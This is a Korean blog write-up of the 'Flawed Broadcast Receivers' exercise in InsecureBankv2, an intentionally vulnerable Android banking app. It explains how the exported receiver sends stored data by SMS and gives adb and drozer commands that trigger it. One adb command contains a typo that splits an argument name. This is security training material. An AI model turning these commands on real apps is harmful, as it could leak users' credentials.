Self-Improvement

[InsecureBankv2] Flawed Broadcast Receivers 본문

AOS/InsecureBankv2

[InsecureBankv2] Flawed Broadcast Receivers

JoGeun 2021. 12. 30. 10:19

Flawed Broadcast Receivers

브로드캐스트는 전화를 받거나 화면을 껐다 켜거나 스마트폰을 종료했다가 다시 전원을 켜는 등 특정 행동을 했을 때 Intent를 통해 발송되어지며 브로드캐스트 리비서가 수신하여 앱에 행동을 전달하게 된다.

 

즉, "전원을 겨면 이앱을 실행하라" 라던가 "화면을 켜면 앱에서 실행 중인 음악을 종료하라" 등의 명령을 브로드캐스트로 이용할 수 있다.

어플리케이션이 브로드캐스트를 받기 위해서는 AndroidManifest.xml에 <receiver> 태그로 브로드캐스트 리비서를 등록 해야한다

단, 안드로이드 8.0 부터 몇몇을 제외한 나머지 브로드캐스트 리시버를 AndroidManifest.xml에 등록할 수 없게 되었다.

https://developer.android.com/guide/components/broadcast-exceptions

 

암시적 브로드캐스트 예외  |  Android 개발자  |  Android Developers

백그라운드 제한에서 제외되는 암시적 브로드캐스트입니다.

developer.android.com

 

AndroidManifest.xml 내용에서 <receiver> 태그를 보면 exported 설정이 true이며 MyBroadCastReceiver 클래스로 선언되어있으며 action은 "theBroadcast"이다.

 

MyBroadCastReceiver 클래스 onReceive() 메소드를 보면 phonenumber, newpass 2개의 인자값을 받은 후 mySharedPreferences에서 데이터를 가져와 로그를 출력하고 SMS으로 전송하고 있다.

 

ADB

ADB를 이용하여 해당 브로드캐스트를 전송해보자

adb shell am broadcast -a theBroadcast -n com.android.insecurebankv2/.MyBroadCastReceiver --es pho nenumber 1337 --es newpass hi

 

Drozer

특정 앱에서만 보낼 수 있는지 혹은 아무나 보낼 수 있는지 권한 확인

run app.broadcast.info -a com.android.insecurebankv2

 

run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 1337 --extra string newpass 1234